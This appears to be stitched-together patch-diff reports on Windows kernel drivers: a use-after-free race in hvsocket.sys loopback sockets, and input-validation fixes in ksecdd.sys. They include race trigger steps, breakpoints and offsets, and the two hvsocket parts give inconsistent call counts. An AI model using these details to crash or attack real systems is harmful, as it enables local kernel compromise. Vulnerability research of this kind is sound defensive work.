Object: 0x70-byte allocation (VmbusTlCreateObject, size 0x70), NonPagedPool, tag 'Vnpi' (0x69706E56). Confirmed layout: +0x08 reference count, +0x48 spinlock, +0x50 destructor function pointer (called via __guard_dispatch_icall_fptr), +0x58 disposition counter, +0x60 SLIST head, +0x68 peer back-reference, +0x210 flags.
Primitive. A use-after-free of the entry object if the legacy path is live and the race is won. Turning this into a stronger primitive (controlled reclamation, information disclosure, or code execution) is not demonstrable from this diff and is not claimed here.
Reachability caveat. The vulnerable behavior exists only on the gate-false legacy path. The runtime default of the EvaluateCurrentState feature is not encoded in a way that can be read out of the static image, so exploitability in a given deployment cannot be asserted from the binaries alone.

7. Debugger Aids

Finding 1 — `VmbusTlLoopbackDisconnect`

; Entry to the function; RCX (arg1) = endpoint object
bp hvsocket_unpatched+0x6c30

; The two free sites operate on DIFFERENT objects
bp hvsocket_unpatched+0x6df1  ".echo B free (rbp); r rcx; gc"
bp hvsocket_unpatched+0x6ebc  ".echo A free (rsi); r rcx; gc"

Location	Register/Memory	Significance
`0x1C0006C4D`	`RBX`	`RBX = RCX` = endpoint; inspect `dq rbx+2B8 l1` for the pending entry
`0x1C0006C8B`	`RSI`	`RSI = *(endpoint+0x2b8)` = entry A
`0x1C0006C9F`	`RBP`	`RBP = *(A+0x68)` = peer object B (distinct allocation)
`0x1C0006D6A`	`[RBP+8]`	B reference-count decrement
`0x1C0006DF1`	`RCX`	pointer freed = B (only if B's count reached zero)
`0x1C0006E3C`	`[RSI+8]`	A reference-count decrement
`0x1C0006EBC`	`RCX`	pointer freed = A (distinct from B)

To confirm A and B are different objects, compare RSI at 0x1C0006C8B with RBP at 0x1C0006C9F; RBP is loaded from [RSI+0x68], a separate allocation.

Findings 2–3 — legacy unlocked read

; NotifyReceiveConsumed entry; RCX = endpoint
bp hvsocket_unpatched+0x6f50
; Legacy read of the entry without a reference
bp hvsocket_unpatched+0x70a3  ".echo unref read of endpoint+0x2b8; r rdi; gc"

Break at the legacy read, then use !pool @rdi to check whether the entry's pool block is still valid, and race a concurrent disconnect to observe the freed access.

8. Changed Functions — Full Triage

All nine changed functions differ solely by removal of EvaluateCurrentState guard sequences and the register/line-number churn that follows. EvaluateCurrentState is called 19 times across these functions in the unpatched build and 0 times in the patched build.

Function (unpatched addr)	Similarity	Change Type	Summary
`VmbusTlLoopbackDisconnect` (`0x1C0006C30`)	0.9128	Security	Spinlock acquire/release and back-reference clear made unconditional. No double-free.
`VmbusTlLoopbackNotifyReceiveConsumed` (`0x1C0006F50`)	0.8389	Security	Always uses referenced, spinlock-protected entry read. Closes UAF/race.
`VmbusTlLoopbackSend` (`0x1C00065EC`)	0.8832	Security	Always uses referenced entry read; legacy raw read removed.
`VmbusTlLoopbackAcceptConnection` (`0x1C001B630`)	0.6072	Security	Setup/teardown around the `endpoint+0x2b8` store made unconditional.
`VmbusTlLoopbackSetupConnection` (`0x1C001B1D0`)	0.4819	Security	Cleanup mutex/critical-region handling made unconditional.
`VmbusTlNotifyListenerAccept` (`0x1C0005F18`)	0.8043	Behavioral	Refcount-increment path made unconditional; no isolated memory-safety issue.
`VmbusTlCommonConnectCompletion` (`0x1C0002670`)	0.9609	Behavioral	Condition simplified from `if (gate() && x[0x42] < 0)` to `if (x[0x42] < 0)`.
`VmbusTlProviderListen` (`0x1C001E420`)	0.5765	Behavioral	Gate removed from listen path; also rewires `VmbusTlCreateListenEndpoint` to `VmbusTlCreateEndpoint`. Core listen logic preserved.
`VmbusTlProcessNewConnectionForListener` (`0x1C0019E60`)	0.9756	Behavioral	Gate removed from partition-state reads; register allocation churn otherwise.

9. Unmatched Functions

Direction	Functions
Removed (unpatched only)	`VmbusTlCreateListenEndpoint` (folded into the existing `VmbusTlCreateEndpoint` by `VmbusTlProviderListen`); `EvaluateCurrentState` retained in the image but no longer called by these paths
Added (patched only)	None

An independent content-level diff of both builds (matching functions by name across relocations) confirms that the nine functions above are the only ones with real logic changes. One additional function outside the connection path, rbc_InitializeFeatureStaging, changes so that its feature-descriptor table is empty in the patched build (its start marker is moved to equal its end marker), which is a build/feature-staging configuration change, not a fix to the loopback path. Twenty-four other functions differ only in HvsocketTrace* __LINE__ immediates that shift because source lines were deleted upstream; these are byte-identical once the line-number operand is normalized.

10. Confidence & Caveats

Confidence: High on the mechanism, conditional on real-world reachability.

The removed guard is the WIL feature gate EvaluateCurrentState (0x1C0001D78), which calls EvaluateFeature over reg_FeatureDescriptors_a and returns (feature_state != 1). It is a feature-staging gate, not a dynamic capability resolver.
The genuine security-relevant difference is that the legacy (gate-false) path in VmbusTlLoopbackNotifyReceiveConsumed and VmbusTlLoopbackSend reads endpoint+0x2b8 without holding the endpoint spinlock and without incrementing the entry's reference count, while the retained path (VmbusTlLoopbackReferenceEndpointDeliveryQueue) does both. This is a use-after-free / race window closed by the patch. Direction confirmed: the patched build is strictly more synchronized.
There is no double-free. VmbusTlLoopbackDisconnect frees two distinct objects (the entry A and its peer B at A+0x68), each guarded by its own reference count, each freed at most once, in both builds.
Reachability is unproven. The vulnerable path is taken only when the feature evaluates false. The feature's runtime default is not determinable from the static image, so exploitability in a given deployment must be confirmed on the target build (bp 0x1C0001D78; gu; r eax).
No claim is made about pool-spray reclamation, information disclosure, control-flow hijack, or privilege escalation; those are not supported by this diff.

hvsocket.sys — Use-after-free / race on loopback socket endpoint access (CWE-416 / CWE-362) fixed by removing a feature gate and making reference-counted endpoint access unconditional

2026-06-29T00:00:00-07:00

1. Overview

Unpatched Binary: hvsocket_unpatched.sys
Patched Binary: hvsocket_patched.sys
Overall Similarity Score: 0.9678
Verdict: The patched build removes a Windows feature-staging gate (EvaluateCurrentState @ 0x1C0001D78) that, in the unpatched build, selected between a legacy path that read the loopback endpoint pointer from the connection object without a spinlock or reference count, and a newer path that acquires the connection spinlock and takes a reference on the endpoint. The patch deletes the gate and the legacy path across the affected functions, so every access to the loopback endpoint now goes through the spinlock-protected, reference-counted helper. This closes a use-after-free / race window (CWE-416 / CWE-362) on the loopback endpoint object.

2. Vulnerability Summary

Finding: UAF / race on loopback endpoint (feature-staged fix, Medium)

Severity: Medium
Vulnerability Class: Use-After-Free (CWE-416) / Race Condition (CWE-362)
Affected Functions: VmbusTlLoopbackSend (0x1C00065EC), VmbusTlLoopbackNotifyReceiveConsumed (0x1C0006F50), VmbusTlLoopbackDisconnect (0x1C0006C30), VmbusTlLoopbackAcceptConnection (0x1C001B630), VmbusTlNotifyListenerAccept (0x1C0005F18), VmbusTlCommonConnectCompletion (0x1C0002670), VmbusTlProcessNewConnectionForListener (0x1C0019E60), VmbusTlProviderListen (0x1C001E420).

Root Cause: EvaluateCurrentState (0x1C0001D78) is a Windows feature-staging check. It calls EvaluateFeature (0x1C0001D00), which resolves a cached feature descriptor via EvaluateCurrentStateFromRegistry and returns whether the cached feature state is not equal to 1. It is not a loopback-vs-VMBus connection-type test; the same loopback endpoint field (connection+0x2B8) is used on both branches. In the unpatched build this gate is called 18 times across the functions listed above, each time selecting between two ways of reaching the loopback endpoint:

Feature on (eax != 0): the endpoint is obtained through VmbusTlLoopbackReferenceEndpointDeliveryQueue (0x1C0007128), which acquires the connection spinlock at connection+0x48, reads connection+0x2B8, increments the endpoint reference count at endpoint+0x8 while the lock is held, releases the lock, and returns the referenced endpoint. The caller later drops that reference (and frees the endpoint if it reaches zero).
Feature off (eax == 0): the legacy path reads connection+0x2B8 directly with no spinlock and no reference increment, and for teardown (VmbusTlLoopbackDisconnect) the read-and-null of connection+0x2B8 is performed without the connection+0x48 spinlock.

On the legacy path, a thread operating on the endpoint (send, receive-notify, accept) holds only a raw pointer with no reference. A concurrent teardown that nulls connection+0x2B8 and drops the last reference can free the endpoint (pool tag 'Vnpi', 0x69706E56) while the first thread still dereferences it — a use-after-free.

The patched build removes EvaluateCurrentState entirely (all 18 call sites and the function itself are gone) and keeps only the spinlock-protected, reference-counted path, deleting the legacy raw-access code.

Feature-staging caveat: The safe path already exists in the unpatched build; it is merely gated behind the feature flag. Whether the vulnerable legacy path executes at runtime on the unpatched build depends on the feature's default state, which is stored in feature metadata and is not determinable from the binary alone. The patched build is the point at which the fix is made unconditional and the legacy path is deleted.

Attacker-Reachable Entry Point & Data Flow: 1. A local user creates Hyper-V sockets (AF_HYPERV, address family 34) that form a same-partition (loopback) connection. 2. A socket operation (for example send()) dispatches through the Winsock Kernel transport-layer interface into VmbusTlLoopbackSend (0x1C00065EC). 3. When the feature gate selects the legacy path, the endpoint pointer is read at 0x1C0006640 (mov rbx, [r15+2B8h]) with no lock and no reference. 4. Concurrently, closing the socket drives VmbusTlLoopbackDisconnect (0x1C0006C30), whose legacy path nulls connection+0x2B8 and drops the endpoint reference without the connection spinlock. 5. The first thread then dereferences the now-stale endpoint (for example mov rax, [rbx+68h] at 0x1C00066CD), accessing freed pool memory.

3. Pseudocode Diff

Reference model: VmbusTlLoopbackNotifyReceiveConsumed.

// --- UNPATCHED ---
NTSTATUS VmbusTlLoopbackNotifyReceiveConsumed(CONNECTION* conn) {
    if (EvaluateCurrentState()) {            // feature ON: safe path
        ENDPOINT* ep = VmbusTlLoopbackReferenceEndpointDeliveryQueue(conn);
        // ep read under connection spinlock, refcount incremented under lock
        if (ep) {
            /* ... operate on ep->deliveryQueue (ep+0x68) ... */
            // reference dropped after use (free if last)
        }
    } else {                                 // feature OFF: legacy path
        ENDPOINT* ep = conn->loopbackEndpoint;   // conn+0x2B8, NO lock, NO refcount
        if (ep) {
            void* dq = *(ep + 0x68);             // deref of unreferenced endpoint
            KeAcquireSpinLockRaiseToDpc(dq + 0x48);
            *(dq + 0x210) |= 2;
            /* ... no reference was ever held ... */
        }
    }
}

// --- PATCHED ---
NTSTATUS VmbusTlLoopbackNotifyReceiveConsumed(CONNECTION* conn) {
    ENDPOINT* ep = VmbusTlLoopbackReferenceEndpointDeliveryQueue(conn); // always
    if (ep) {
        void* dq = *(ep + 0x68);
        KeAcquireSpinLockRaiseToDpc(dq + 0x48);
        *(dq + 0x210) |= 2;
        /* ... reference held throughout; dropped after use (free if last) ... */
    }
}

4. Assembly Analysis

Unpatched VmbusTlLoopbackNotifyReceiveConsumed (0x1C0006F50). The feature gate at 0x1C0006F62 selects the legacy branch at 0x1C00070A3, which reads the endpoint without a lock or reference:

; --- UNPATCHED: VmbusTlLoopbackNotifyReceiveConsumed @ 0x1C0006F50 ---
00000001C0006F5F  mov     rbx, rcx                 ; rbx = connection object
00000001C0006F62  call    EvaluateCurrentState     ; feature-staging check
00000001C0006F67  test    eax, eax
00000001C0006F69  jz      loc_1C00070A3            ; feature OFF -> legacy path

; --- feature ON (safe) path ---
00000001C0006F6F  mov     rcx, rbx
00000001C0006F72  call    VmbusTlLoopbackReferenceEndpointDeliveryQueue ; lock + refcount++
00000001C0006F77  mov     rsi, rax
00000001C0006F83  mov     rdi, [rax+68h]
; ... operates, then at 0x1C0006FEB: lock xadd [rsi+8], rax  (reference drop) ...

; --- feature OFF (legacy) path ---
00000001C00070A3  mov     rdi, [rbx+2B8h]          ; endpoint read, NO lock / NO refcount
00000001C00070AA  test    rdi, rdi
00000001C00070AD  jz      short loc_1C00070EA
00000001C00070AF  mov     rdi, [rdi+68h]           ; deref of unreferenced endpoint
00000001C00070B3  lea     rcx, [rdi+48h]           ; SpinLock
00000001C00070B7  call    cs:__imp_KeAcquireSpinLockRaiseToDpc
00000001C00070C3  or      dword ptr [rdi+210h], 2  ; flag write
00000001C00070D4  call    VmbusTlTransitionDisconnectState
00000001C00070E1  call    VmbusTlFinishDisconnectStateTransition

Patched VmbusTlLoopbackNotifyReceiveConsumed (0x1C0006BB0) has no feature gate and no legacy branch; it unconditionally calls the reference-counted helper:

; --- PATCHED: VmbusTlLoopbackNotifyReceiveConsumed @ 0x1C0006BB0 ---
00000001C0006BBF  mov     rdi, rcx
00000001C0006BC2  call    VmbusTlLoopbackReferenceEndpointDeliveryQueue ; always: lock + refcount++
00000001C0006BC7  mov     rsi, rax
00000001C0006BCA  test    rax, rax
00000001C0006BCD  jz      loc_1C0006CD2
00000001C0006BD3  mov     rdi, [rax+68h]
; ... operates, then at 0x1C0006C3B: lock xadd [rsi+8], rax  (reference drop) ...

The teardown side confirms the direction. Unpatched VmbusTlLoopbackDisconnect (0x1C0006C30) skips the connection spinlock on the legacy branch:

00000001C0006C6F  call    EvaluateCurrentState
00000001C0006C74  test    eax, eax
00000001C0006C76  jz      short loc_1C0006C8B      ; feature OFF -> skip spinlock
00000001C0006C78  lea     rcx, [rbx+48h]           ; SpinLock (only taken when feature ON)
00000001C0006C7C  call    cs:__imp_KeAcquireSpinLockRaiseToDpc
00000001C0006C8B  mov     rsi, [rbx+2B8h]          ; endpoint read (unlocked on legacy path)
00000001C0006C92  and     qword ptr [rbx+2B8h], 0  ; endpoint null (unlocked on legacy path)

Patched VmbusTlLoopbackDisconnect (0x1C00068B0) acquires the connection spinlock unconditionally before the read-and-null:

00000001C00068E7  lea     rcx, [rbx+48h]           ; SpinLock
00000001C00068EB  call    cs:__imp_KeAcquireSpinLockRaiseToDpc  ; always
00000001C00068F7  mov     rsi, [rbx+2B8h]          ; read under lock
00000001C00068FE  and     qword ptr [rbx+2B8h], 0  ; null under lock
00000001C000691E  call    cs:__imp_KeReleaseSpinLock

5. Trigger Conditions

Environment: Unpatched hvsocket.sys, with the feature-staging flag in the state that selects the legacy path (EvaluateCurrentState returns 0). The default state is held in feature metadata and cannot be read from the binary; if the feature is enabled, the unpatched build already runs the safe path.
Socket Setup: Create Hyper-V sockets (AF_HYPERV, address family 34) forming a same-partition (loopback) connection.
Race Setup (Thread A): Perform repeated send()/receive operations to drive VmbusTlLoopbackSend (0x1C00065EC) or VmbusTlLoopbackNotifyReceiveConsumed (0x1C0006F50) onto the legacy branch that reads connection+0x2B8 without a reference.
Race Setup (Thread B): Concurrently close the socket to drive VmbusTlLoopbackDisconnect (0x1C0006C30), whose legacy branch nulls connection+0x2B8 and drops the endpoint reference without the connection spinlock.
Window: Thread B must drop the last endpoint reference and free the pool block (ExFreePoolWithTag, tag 'Vnpi') in the interval between Thread A's unreferenced read and its subsequent dereference.
Observable Effect: A dereference of freed non-paged pool. With Driver Verifier Special Pool enabled for hvsocket.sys, the access to the freed page faults immediately.

6. Impact Assessment

Primitive: Use-after-free on the loopback endpoint pool object (pool tag 'Vnpi', 0x69706E56), reachable only when the feature gate selects the legacy path.
Demonstrable impact: A dereference of freed non-paged pool memory, which under Special Pool is a deterministic fault. Beyond that, no concrete exploitation primitive (controlled reclaim, information disclosure, or control-flow hijack) is demonstrable from these two builds; the endpoint layout, allocation site, and reclaim behavior needed to make any such claim are not established here.
Reachability qualifier: The safe (reference-counted) path is present in both builds. In the unpatched build the vulnerable legacy path is one branch of a feature gate, so its runtime reachability depends on the feature's default state, which is not encoded in the binary.

7. Debugger Notes (unpatched target)

These addresses are real instructions in the unpatched image (base 0x1C0000000 for analysis; add the runtime base from lmvm hvsocket).

0x1C0006F62 — call EvaluateCurrentState in VmbusTlLoopbackNotifyReceiveConsumed. eax == 0 after this selects the legacy branch.
0x1C00070A3 — mov rdi, [rbx+2B8h]: the unreferenced endpoint read (rbx = connection object). This value becomes stale if a concurrent disconnect frees the endpoint.
0x1C00070AF — mov rdi, [rdi+68h]: dereference of the unreferenced endpoint.
0x1C0006C6F / 0x1C0006C76 — the disconnect feature check and the jz 0x1C0006C8B that skips the connection+0x48 spinlock on the legacy path.
0x1C0006C8B / 0x1C0006C92 — the disconnect read-and-null of connection+0x2B8 on the legacy path.

Structure offsets:

Connection object: +0x48 = KSPIN_LOCK; +0x2B8 = loopback endpoint pointer.
Endpoint object: +0x08 = reference count; +0x50 = cleanup callback (dispatched via the guard-check indirect call); +0x68 = delivery-queue / peer pointer; +0x210 = flags dword.

8. Changed Functions — Full Triage

An independent content-level comparison of the two builds (matching by symbol name across relocations) shows the security-relevant change is the removal of the EvaluateCurrentState feature gate and its legacy path. The gate function EvaluateCurrentState and the helper VmbusTlCreateListenEndpoint (inlined into VmbusTlProviderListen; its trace string is retained at 0x1C001E59D) are the only functions removed. The functions whose bodies change because the gate/legacy path was removed are:

VmbusTlLoopbackNotifyReceiveConsumed (0x1C0006F50 → 0x1C0006BB0): Legacy unreferenced read at 0x1C00070A3 removed; now always uses VmbusTlLoopbackReferenceEndpointDeliveryQueue.
VmbusTlLoopbackSend (0x1C00065EC): Legacy unreferenced read at 0x1C0006640 removed; now always references the endpoint before use.
VmbusTlLoopbackDisconnect (0x1C0006C30 → 0x1C00068B0): The connection spinlock at connection+0x48 is now acquired unconditionally around the read-and-null of connection+0x2B8; three EvaluateCurrentState calls removed.
VmbusTlLoopbackAcceptConnection (0x1C001B630): Five EvaluateCurrentState calls removed; endpoint acquisition/release unified through the reference-counted helper.
VmbusTlNotifyListenerAccept (0x1C0005F18): Feature-gated endpoint reference handling collapsed to the single reference-counted path.
VmbusTlCommonConnectCompletion (0x1C0002670): The EvaluateCurrentState-gated branch around the connection reference decrement at connection+0x130 is removed; the decrement is now handled without the gate.
VmbusTlProcessNewConnectionForListener (0x1C0019E60 → 0x1C0019DB0): Two EvaluateCurrentState calls removed. This is a distinct but related synchronization hardening: the patched build now reads the listener readiness flag at endpoint+0x1A9 unconditionally under the endpoint fast-mutex (mov dil, [r14+1A9h] at 0x1C0019FBA) and refuses the connection (STATUS_CONNECTION_REFUSED, 0xC0000236, at 0x1C0019FEF) when it is not set. In the unpatched build the legacy branch skipped this check, so an inbound connection could be processed against a listener endpoint that had not finished association (the flag is set by VmbusTlProviderListen at 0x1C001E7EF after VmbusTlAssociateListenerToPartition). This closes that window.
VmbusTlProviderListen (0x1C001E420 → 0x1C001E290): Two EvaluateCurrentState calls removed and VmbusTlCreateListenEndpoint inlined. The unpatched build carried two near-identical copies of the listen-setup body (one per feature branch); the patched build keeps a single copy. The surviving path retains every validation (base-endpoint status, address-family 34/subtype 0, partition null-check, partition-id resolution, listener-to-partition association), so beyond the gate removal this is a de-duplication refactor rather than a removed check.

Other functions differ only in embedded trace-message line numbers and relocated data offsets (for example HvSocketAcceptIncomingConnection, HvSocketProviderUpdateAddresses, VmbusTlProviderConnect, memset); those are not security-relevant. VmbusTlLoopbackPostprocessIoRequest does not change in content between the two builds.

9. Unmatched Functions

EvaluateCurrentState (0x1C0001D78) and VmbusTlCreateListenEndpoint (0x1C00198A0) exist only in the unpatched build. EvaluateCurrentState is the removed feature gate; VmbusTlCreateListenEndpoint is inlined into VmbusTlProviderListen. No new functions are added.

10. Confidence & Caveats

Confidence: High that the code change is real and correctly directed: the unpatched build gates endpoint access on EvaluateCurrentState with a legacy unreferenced path, and the patched build removes the gate and legacy path and always uses the spinlock-protected, reference-counted helper.
Nature of the change: This is a feature-staged synchronization/lifetime hardening. The safe path is present in both builds; the patch finalizes the rollout by removing the gate and the legacy path.
Severity rationale: Rated Medium. The class is a genuine UAF/race on a kernel pool object reachable from local user-mode socket operations, but the vulnerable path is one branch of a feature gate whose default state is not determinable from the binary, and no concrete exploitation primitive beyond a freed-pool dereference is established from these builds.

ksecdd.sys — NULL-pointer dereference & missing ProbeForRead in SSPI dispatch and IOCTL paths (CWE-476, CWE-822) fixed

2026-06-29T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`ksecdd_unpatched.sys`
Patched binary	`ksecdd_patched.sys`
Overall similarity	0.7384 (73.8%)
Matched functions	371
Changed functions	234
Identical functions	137
Unmatched (unpatched → patched)	0 / 0

Verdict: The patch delivers input-validation hardening in the kernel-mode SSPI provider. Two genuine, verifiable classes of change are present:

NULL-pointer / dispatch hardening in the SSPI message and context APIs (EncryptMessage, DecryptMessage, QuerySecurityContextToken, ImpersonateSecurityContext, and the internal dispatch helpers). After the existing unsigned upper-bound check on the package index, the patched code adds an lfence speculation barrier, reloads the dispatch-table base, and NULL-checks both the resolved package entry and the target function pointer before the CFG-guarded indirect call. For the four message/context entry points it additionally adds NULL checks on the caller-supplied context handle (and message buffer) that were absent in the unpatched build, closing a kernel NULL-pointer dereference (local BSOD) reachable when a NULL context handle is passed.
Missing ProbeForRead on user-supplied IOCTL input buffers in the fast-I/O device-control handlers (KsecIoctlFreeVm, KsecIoctlAllocVm, KsecIoctlFreePool, KsecIoctlAllocPool, KsecIoctlCopyPool, KsecIoctlDupLsaHandle, KsecIoctlInsertProtectedProcessAddress, KsecValidateAddress, and related handlers reached through KsecFastIoDeviceControl). The unpatched build contains zero ProbeForRead calls; the patched build adds them before every dereference of the caller-supplied input buffer.

Two claims that a first pass might reach — that the patch removes an IOCTL 0x398000 "kernel process handle leak" and adds object validation to an IOCTL 0x390058 "arbitrary VM free" in KsecDispatch — do not hold against the binaries: both IOCTL handlers are functionally identical in the two builds. Those items are recorded below as No security-relevant change.

2. Vulnerability Summary

Finding 1 — Kernel NULL Dereference / dispatch hardening in SSPI context APIs (LOW)

Attribute	Value
Severity	Low (local denial of service)
Vulnerability class	CWE-476 (NULL Pointer Dereference); dispatch-index speculation barrier (`lfence`)
Affected functions	`EncryptMessage` (SSPI SealMessage), `DecryptMessage` (SSPI UnsealMessage), `QuerySecurityContextToken`, `ImpersonateSecurityContext`, `DeleteUserModeContext` (internal), `ProcessSecurityContextUnMarshalResponse` (internal)
Primitive	Kernel BSOD (local DoS) when a NULL context handle is passed to a message/context API

Root cause: In the unpatched build, EncryptMessage, DecryptMessage, QuerySecurityContextToken, and ImpersonateSecurityContext read the package index from *phContext and use it to index a per-package dispatch table, without first checking that phContext is non-NULL. If phContext == NULL, the mov that loads *phContext faults in kernel mode. The subsequent dispatch does an unsigned upper-bound check on the index and then loads a package-entry pointer and a function pointer without NULL-checking either; the indirect call is made through the Control-Flow-Guard dispatch thunk (__guard_dispatch_icall_fptr).

The patch:

adds if (phContext == NULL ...) return SEC_E_INVALID_HANDLE (and, for EncryptMessage/DecryptMessage, a NULL check on the message-buffer argument);
inserts an lfence after the unsigned bounds check (a Spectre-v1 / bounds-check-bypass barrier on the attacker-influenced index);
reloads the dispatch-table base pointer after the bounds check; and
adds test reg,reg / je error on both the resolved package entry and the loaded function pointer before the indirect call.

For QuerySecurityContextToken, ImpersonateSecurityContext, and DeleteUserModeContext, the inline dispatch was moved into shared validating helpers (KernelPackageCallValidatorWorkers::CallValidator<…>::InvokeById, at 0x180029C10 for the offset-0x40 slot and 0x180029960 for the offset-0x08 slot) that contain the same lfence + entry-NULL + function-pointer-NULL logic.

Note on scope: the unpatched DeleteUserModeContext already NULL-checks its context-handle argument and the function pointer; for that function the added protection is the lfence, the table reload, and the entry-pointer NULL check. ProcessSecurityContextUnMarshalResponse is an internal async-response unmarshaller whose dispatch index comes from previously unmarshalled data rather than a raw caller handle; it received the same dispatch hardening.

Entry point & data flow (NULL-deref variant):

A caller invokes a kernel SSP message/context routine (EncryptMessage/DecryptMessage/QuerySecurityContextToken/ImpersonateSecurityContext) with a NULL PCtxtHandle.
The unpatched routine executes mov reg, [phContext] to read the package index — with phContext == NULL this faults in kernel mode → bugcheck (local DoS).
The patched routine returns SEC_E_INVALID_HANDLE (0x80090301) instead.

Finding 2 — IOCTL 0x398000 handler (No security-relevant change)

Attribute	Value
Severity	None (no change between builds)
Affected function	`KsecDispatch` (`sub_1c001e8c0` unpatched / `0x180026dc0` patched)

The IOCTL 0x398000 handler is present and functionally identical in both builds. In both, it opens a handle to PsGetCurrentProcess() (the caller's own process) with ObOpenObjectByPointer(process, OBJ_KERNEL_HANDLE, NULL, 0x478, NULL, KernelMode, &state[1]). The handle is stored into the kernel LSA-state structure (v19+1 / v25+1), not returned to user mode; the user output buffer receives only the DWORD KsecSystemProcessId. 0x478 is a set of process access rights (PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION), not token rights, and the object type passed to ObOpenObjectByPointer is NULL. There is no handle leak and no removal of this handler. The only diff in this branch is a refactor (InitSecurityInterfaceW() → CreateClient(...)). No security-relevant change.

Finding 3 — IOCTL 0x390058 handler (No security-relevant change)

Attribute	Value
Severity	None (no change between builds)
Affected function	`KsecDispatch` (`sub_1c001e8c0` unpatched / `0x180026dc0` patched)

The IOCTL 0x390058 handler is functionally identical in both builds. In both, it requires RequestorMode == UserMode, a non-NULL requestor process, and a non-NULL buffer; validates the target address against the driver's own tracked-allocation list via KsecRemoveValidVm(RequestorProcess, address) (which returns NULL — and the request fails — for any address ksecdd did not previously allocate for that process); and only then calls ZwFreeVirtualMemory. The IOCTL is METHOD_BUFFERED (0x390058 & 3 == 0), so the input is read from the kernel-copied system buffer and needs no ProbeForRead. No ProbeForRead or ObReferenceObjectByHandle was added to this branch in the patched build. No security-relevant change. (The ProbeForRead/ObReferenceObjectByHandle additions are in the separate fast-I/O IOCTL handlers — see Finding 6.)

Finding 4 — SspiAcceptSecurityContextAsync: added output-buffer-count bound check (LOW)

Attribute	Value
Severity	Low (defensive bound check)
Vulnerability class	CWE-1284 (improper validation of a specified quantity)
Affected function	`SspiAcceptSecurityContextAsync` (`0x1c0020250` → `0x1800240f0`)

Root cause / change: The unpatched SspiAcceptSecurityContextAsync delegates directly to KsecProcessSecurityContext. The patched version was restructured to marshal the async request inline and adds if (pOutput->cBuffers > 0x12) return 0x8009035D (SEC_E_INVALID_TOKEN), plus NULL checks on phContext/phCredential/phNewContext and a MapKernelContextHandle call on phContext. pOutput is the output SecBufferDesc supplied by the local caller, not network-controlled attacker data; there is no demonstrable overflow in either build. This is a defensive upper bound on a caller-provided buffer count, not a fix for a reachable overflow primitive.

Finding 5 — Missing NULL validation in ImportSecurityContextW (LOW)

Attribute	Value
Severity	Low (local denial of service)
Vulnerability class	CWE-476 (NULL Pointer Dereference)
Affected function	`ImportSecurityContextW` (`0x1c0023b50` → `0x180021ac0`)

Root cause / change: The unpatched ImportSecurityContextW dereferences the output context handle phContext (phContext->dwUpper = …; phContext->dwLower = …) without a NULL check, and passes pPackedContext to the package handler. The patch adds if (pPackedContext != NULL && phContext != NULL) { … } else return STATUS_INVALID_PARAMETER (0xC000000D). Both builds already NULL-check the package function pointer (if (v10 != NULL)), so no function-pointer check was added. Impact is a local NULL-pointer dereference (BSOD) if a caller passes a NULL phContext.

Finding 6 — Missing ProbeForRead on user IOCTL input buffers in fast-I/O device control (MEDIUM)

Attribute	Value
Severity	Medium (untrusted user-pointer dereference in kernel)
Vulnerability class	CWE-822 (Untrusted Pointer Dereference) / missing `ProbeForRead`; CWE-367 (double-fetch / TOCTOU) for `KsecIoctlHandleFunctionReturn` and `KsecIoctlClientCallback`
Affected functions	`KsecIoctlHandleFunctionReturn`, `KsecIoctlClientCallback`, `KsecIoctlAllocVm`, `KsecIoctlFreeVm`, `KsecIoctlCopyVm`, `KsecIoctlAllocPool`, `KsecIoctlFreePool`, `KsecIoctlCopyPool`, `KsecIoctlDupLsaHandle`, `KsecIoctlInsertProtectedProcessAddress`, `KsecIoctlRemoveProtectedProcessAddress`, and the VM helper `KsecCopyVirtualMemory`, all reached via `KsecFastIoDeviceControl` (`0x1c0002910`)
Primitive	Kernel dereference of an unvalidated caller-supplied pointer (invalid-address fault / read from an address the caller did not prove is user-mode); double-fetch of a user buffer for two handlers

Root cause / change: The fast-I/O device-control path (KsecFastIoDeviceControl) passes the caller-supplied input buffer pointer straight to the per-IOCTL handlers. In the unpatched build these handlers dereference that pointer directly with no ProbeForRead — the entire unpatched binary contains zero ProbeForRead calls, versus 24 in the patched binary. The fix was applied individually across the whole KsecIoctl* handler family, not to a single handler. Two forms are present:

Probe-then-use (KsecIoctlFreeVm 0x1C000E91C→0x18000E168, KsecIoctlAllocVm 0x1C0001700→0x180005B98, KsecIoctlFreePool 0x1C000E890→0x18000E084, KsecIoctlAllocPool 0x1C0005A00→0x18000D8E8, KsecIoctlCopyPool 0x1C00057C8→0x18000DE2C, KsecIoctlCopyVm 0x1C0001AA4→0x1800032F0, KsecIoctlDupLsaHandle 0x1C0001C1C→0x180005FD8, KsecIoctlInsertProtectedProcessAddress 0x1C0001694→0x18000E360, KsecIoctlRemoveProtectedProcessAddress 0x1C0001650→0x180006230, KsecCopyVirtualMemory 0x1C0003F74→0x180005AC0): a ProbeForRead(inputBuffer, <len>, <align>) is added before the dereference. Some of these previously used only a weak start-of-range test (e.g. if (*a1 >= MmUserProbeAddress)) that did not validate the whole buffer.
Probe-and-capture / double-fetch fix (KsecIoctlHandleFunctionReturn 0x1C0006898→0x180006728, KsecIoctlClientCallback 0x1C000E778→0x18000DB54): the unpatched handler passed the raw user pointer into the downstream callee. KsecIoctlHandleFunctionReturn only did a force-fault touch of the range end (if (a1+size > MmUserProbeAddress || overflow) *(BYTE*)MmUserProbeAddress = 0;) and then called CallInProgressCompleted(a1, a1, size) on the user pointer. The patch adds ProbeForRead(Src, size, 1), allocates a pool buffer, RtlCopyFromUser(Pool, Src, size), and operates on the kernel copy — removing a double-fetch/TOCTOU window as well as the missing probe.

The handle values read from these buffers are, in both builds, separately validated with ObReferenceObjectByHandle(..., PsProcessType, ...) and addresses with KsecRemoveValidVm/KsecInsertValidVm, which limits impact; the added probing closes the window in which a caller could supply a non-user-mode or invalid input-buffer address (or mutate it after a check) and have the driver dereference it in kernel mode.

Note: KsecUpdateUserTokenSessionId (?KsecUpdateUserTokenSessionId@@YAJPEAXK@Z) is a new handler present only in the patched build and is part of the same probing wave; it has no unpatched counterpart to diff against.

Entry point & data flow:

A caller reaches the ksecdd fast-I/O device-control interface (KsecFastIoDeviceControl) with one of the CNG kernel IOCTL codes and an input-buffer pointer.
Unpatched: the handler (e.g. KsecIoctlFreeVm) reads *inputBuffer with no ProbeForRead; KsecIoctlHandleFunctionReturn forwards the raw user pointer to CallInProgressCompleted.
